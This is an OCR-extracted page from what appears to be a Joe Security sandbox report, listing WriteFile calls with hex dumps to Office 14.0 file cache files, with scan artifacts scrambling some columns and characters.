00 01 02 00 0d 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd

00 fd fd
C:\Users\user\AppData\Local\Mi 16640 40 10 00 00 00 03 00 00 00 success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 11 00 00 00 06 00 00 00
Cache\FSD-CNRY.FSD 12 00 00 00 04 00 00 00

13 00 00 00 02 00 00 00

01 00 00 00 cb fd fd
C:\Users\user\AppData\Local\Mi 1648 32 11 00 00 00 10 00 00 00  b. success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 12 00 00 00 06 00 00 00
Cache\FSD-CNRY.FSD 13 00 00 00 04 00 00 00

01 00 00 00 62 fd 2e fd
C:\Users\user\AppData\Local\Mi 16680 32 11 00 00 00 10 00 00 00 success or wait 1 7FEEE917A59 WriteFile
crosoft\Office\14.0\OfficeFile 12 00 00 00 06 00 00 00
Cache\FSD-CNRY.FSD 13 00 00 00 04 00 00 00

01 00 00 00 fd fd fd fd
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

0

16

18

76

Length Value

512

16

512

40

Ascii

Completion

Oc fd 91 fd 1b fd 4d fd 65 MeFyzKFhA6&S,XFFags success or wait

46 79 fd fd fd 7a 4b fd 32 PDP;$SINMDOAEXXXX

fd 46 68 41 fd fd Oa fd 36
fd 19 26 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 fd fd Of 73 50 fd
44 fd 50 Ob 3b fd fd 08 Ob
00 00 00 00 00 00 00 fd
fd fd 24 13 6¢ fd 4e fd 02
fd fd 1a 4d 44 39 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 48 al fd 40 fd 06 fd
fd 62 fd 12 71

Oc 00

18

Oc fd 91 fd 1b fd 4d fd 65 MeFyzk(V0O};S,XFFaq_
46 79 fd fd fd 7a 6b 28 56 gLLli <&0OD &0SWxxxx*

fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

H@bq

_gLLIi <&00D &o

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

512

512

1536

Length Value

65024

1024

16

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 fd e5 35 8e 32 41 fd fd
fd fd fd 7f fd fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 fd e5 35 8e 32 41 fd fd
fd fd fd 7f fd fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Ascii

zVvV
@pGsqQ9Ga gqbpG52A

zv
@pGsqQ9Ga’ qbpG52A

Completion

success or wait

success or wait

success or wait

Count Source Address

2

1

1

TFEEE917A59

7TFEEE917A59

TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 76 40
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 2560 4096
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 2576 4
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 1552 24
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Length Value

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 05 fd 00 fd 40 03
07 51 0f fd 6a fd fd 61 4a
fd fd fd 55 18 06 fd 3e 01
00 00 00 01 05 00 01 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd 47 07 10 67
54 fd fd 10 fd fd 42 fd fd
37 fd 25 fd fd 61 01 00 00
00 01 06 00 03 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd 57 07 Ob fd fd fd 44
fd 47 fd 44 fd fd fd 4a 9c
30 14 01 00 00 00 01 07
00 04 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd 62
07 0b Oa fd 72 23 fd 42
63 43 fd fd fd 2b fd 00 fd
36 01 00 00 00 01 07 00
07 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 07 60 fd fd fd fd fd
44 fd 47 fd 44 fd fd fd 4a
9c 30 14 01 00 00 00 05
fd 00 fd 6d 07 24 6e 7a
31fd

03 10 fd fd

10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00
01 00 00 00 68 fd fd 28

Ascii Completion

MeFyzk(V00};S,XFFaq_  success or wait

gLLIi <&00D &0SWxxxx*

_gLLIli <&00D &o success or wait

ZV@QjaJU>GgTB7%aW  success or wait
DGDJObr#BcC+6
"DGDJOm$nz1

success or wait

h( success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59
i 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

Page 35 of 66



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{2A40BOAC-ACBB-463B-

8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{2A40BOAC-ACBB-463B-

8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

Copyright Joe Security LLC 2022

Offset

0

0

16

18

20

21

Length Value

512

512

16

92

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

fd fd 48 al fd 40 fd 06 fd
fd 62 fd 12 71

Oc 00

18 fd

5d

46 00 53 00 44 00 2d 00
7b 00 32 00 41 00 34 00
30 00 42 00 30 00 41 00
43 00 2d 00 41 00 43 00
42 00 42 00 2d 00 34 00
36 00 33 00 42 00 2d 00
38 00 44 00 43 00 30 00
2d 00 35 00 36 00 38 00
45 00 30 00 31 00 45 00
44 00 33 00 38 00 38 00
44 00 7d 00 2e 00 46 00
53 00 44 00

Ascii

MeFyzk(V00};S,XFFaq_
gLLIi <&00D &0SWxxxx*

MeFyzk(V0OO};S,XFFaq_
gLLIi <&0OD &0SWxxxx*

H@bq

FSD-{2A40BOAC-ACBB-
463B-8DC0-5
68E01ED388D}.FSD

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

113

76

6656

6712

2580

1576

Length

1

40

51

4096

50

32

512

Value

05

fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 fd 0d
62 fd fd Of fd 42 fd 30 fd
7c fd c8 0a 03 00 00 3e
03 00 00 fd 01 49

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd 51 Of fd
6a fd fd 61 4a fd fd fd 55
18 06 fd 3e 01 00 00 00
02 00 00 00 00 00 00 00
fd 3b 04 02 fd 65 66 48 fd
fd 6b 06 13 58 fd 2c 01
00 00 00 06 00 fd fd fd fd
44 fd 47 fd 44 fd fd fd 4a
9c¢ 30 14 01 00 00 00 05
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd Oa fd 72
23 fd 42 63 43 fd fd fd 2b
fd 00 fd 36 01 00 00 00
08 00 00 00 00 00 00 00
fd 3b 04 02 fd 65 66 48 fd
fd 6b 06 13 58 fd 2c 03
00 00 00 06 00 fd fd 5f fd
fd fd 37 fd 4f fd 3c fd fd 08
17 4b 6d 01 00 00 00 Of
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd 2f 72 fd 7c
fd 44 fd 06 fd fd fd 28 5c
fd 01 00 00 00 13 00 00

05 fd 00 fd 40 03 07 51 Of
fd 6a fd fd 61 4a fd fd fd
55 18 06 fd 3e 01 00 00
00 01 05 00 01 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00

10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3¢
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Ascii

_gLLli <&00D &o

6A{g@ bBO>I

zVQjaJU>;efHkX,DGDJ0;
efHkX,r#B
cC+6;efHkX,_70<Km;ef
HkX,/|D(\

@QjaJu>

MeFyzk(VOO};S,XFFaq_
gLLIi <&00D &0SWxxxx*

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

3

1

1

TFEEE917A59

TFEEE917A59

TFEEE917A59

7TFEEE917A59

TFEEE917A59

7TFEEE917A59

TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 76
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 10808

crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 14904
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 15032
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 10824
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi 1608
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Length Value

fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd 67 54 fd
fd 10 fd fd 42 fd fd 37 fd
25 fd fd 61 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00 06 00 fd fd 19 fd
fd 3d fd fd 45 fd 16 2d fd
5a fd 68 01 00 00 00 10
00 00 00 00 00 00 00 14
6e 8d 33 34 49 41 fd fd
6e fd fd fd fd Of 01 00 00
00 06 20 fd fd 6e 7a 31 9f
fd 15 4b fd 67 fd fd fd 79
fd fd 05 00 00 00 11 00
00 00 00 00 00 00 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 78 32 67 1a fd 3b 40 fd
0d fd 03 fd 5d fd 01 00 00
00 06 00 fd fd 64 fd fd 4c
04 fd 4f fd fd 79 fd fd 21
fd fd 01 00 00 00 1c 00
00 00 00 00 00 00 19 fd
48 56 fd fd 32 45 fd 67 fd
fd fd fd fd 7d 01 00 00 00
06 20 fd fd fd 4d fd

ea 69 49 fd Oc 56 Oc 67
54 fd fd 10 fd fd 42 fd fd
37 fd 25 fd fd 61 fd 67 40
fd 1d 12 2e fd 42 fd fd 53
17 fd fd 26 fd 01 00 00 00
00 00 00 00 05 60 20 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 38
66 14 fd fd 84 fd fd 0d 4a
fd fd 52 Oc 77 fd 70 73 Oc
fd fd 84 fd fd 0d 4a fd fd
52 0c 77 fd 70 73 Oc fd 78
32 67 1afd 3b 40 fd 0d fd
03 fd 5d fd 05

3e 03 00 00 54 27 Oc 67
54 fd fd 10 fd fd 42 fd fd
37 fd 25 fd fd 61 79 00 6a
03 00 00 58 53 51 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 78 32 67 1a fd 3b 40 fd
0d fd 03 fd 5d fd 01 00 00
00 fd 54 07 00 00 00 fd fd
01

03 10 fd fd 06 00 fd 67 54
fd fd 10 fd fd 42 fd fd 37
fd 25 fd fd 61 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01000000 75 75 fd fd

Ascii

_gLLli <&00D &o

zVgTB7%a0MMCOYpe=
EZhn34lAn nz1
KgyJRwpsx2g; @]dLOy!H

V2Eg} M

iIVgTB7%ag@.BSE&"

8fJIRwpsIRwpsx2g; @]

>T'gTB7%ayjXSQJIRwps
x2g;@]T

gTB7%a0MMCOYpe

uu

Count Source Address



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

15208

15752

Length Value

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 6b 28 56
fd 30 fd 4f fd 7d fd fd fd fd
fd 3b 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 04 5f 67 4c fd
4c fd 1d Oc 6¢ 69 fd 20 3c
0f 00 00 00 00 00 00 00
26 fd 30 4f fd 44 fd fd 20
26 6f fd fd fd 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

40 fd fd 04 5f 67 4c fd 4c fd
1d Oc 6¢ 69 fd 20 3c 0f 00
00 00 00 00 00 00 26 fd
30 4f fd 44 fd fd 20 26 6f
fd fd fd

284 ea 69 49 01 Oc 56 Oc 6e
7a 31 9f fd 15 4b fd 67 fd
fd fd 79 fd fd fd 12 49 05
33 fd 28 fd 4f fd 1d 7e fd
fd 63 fd 3a 03 00 00 00
00 00 00 00 0b fd 00 fd
32 fd 10 63 Oa fd 4b 12
32 4d fd fd 65 fd fd 52 fd
01 00 00 11 03 fd Ob 00
75 fd 00 fd 00 fd 01 Ob Oc
le 23 fd fd 50 fd fd 4b fd
fd 34 fd 31 42 fd Oc 33 fd
25 41 fd fd fd 41 fd fd fd
fd 57 fd fd fd Oc fd 1e fd
07 31 49 fd 45 fd fd fd 68
fd ef 6f Oc 08 fd 48 5¢ fd
fd 06 45 fd fd 19 fd fd fd
30 71 Oc 4b fd fd fd 7a fd
7c 4d fd fd 01 fd 14 3c 59
1a 00 fd 05 00 00 00 00
00 00 00 10 00 00 00 1b
3b 7a fd fd fd 49 fd fd fd
57 fd 03 fd 2a 10 00 00
00 64 4f 28 16 fd fd 15 40
fd fd fd 39 44 b6 fd 10 00
00 00 16 fd fd 48 fd 56 30
4f fd 30 fd 11 11 fd 02 fd
1000 00 00 fd fd 14 42 0Of
fd 35 42 fd

70 ea 69 49 01 Oc 56 2c 6e
7a 31 9f fd 15 4b fd 67 fd
fd fd 79 fd fd fd 12 49 05
33 fd 28 fd 4f fd 1d 7e fd
fd 63 fd 3a 08 00 00 00
00 00 00 00 07 58 22 Oc
14 6e 8d 33 34 49 41 fd
fd 6e fd fd fd fd Of 05

Ascii

MeFyzk(V00};S,XFFaq_
gLLIi <&00D &0SWxxxx*

_gLLIli <&00D &o

ilVnz1Kgyl3(O~c:2cK2M
eRu#PK41B
3%AAW1IEhoH\EOqKz|M
<Y;zIW*dO(@
9DHV0O0B5B

iIV,nz1Kgyl3(O~c:X"n34l
An

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
3 7TFEEE917A59
2 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DC0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{2A40BOAC-ACBB-463B-
8DCO0-568E01ED388D}.FSD

Copyright Joe Security LLC 2022

Offset

15992

2804

16568

1648

16608

Length Value

285

398

40

32

32

3e 03 00 00 54 27 Oc 67
54 fd fd 10 fd fd 42 fd fd
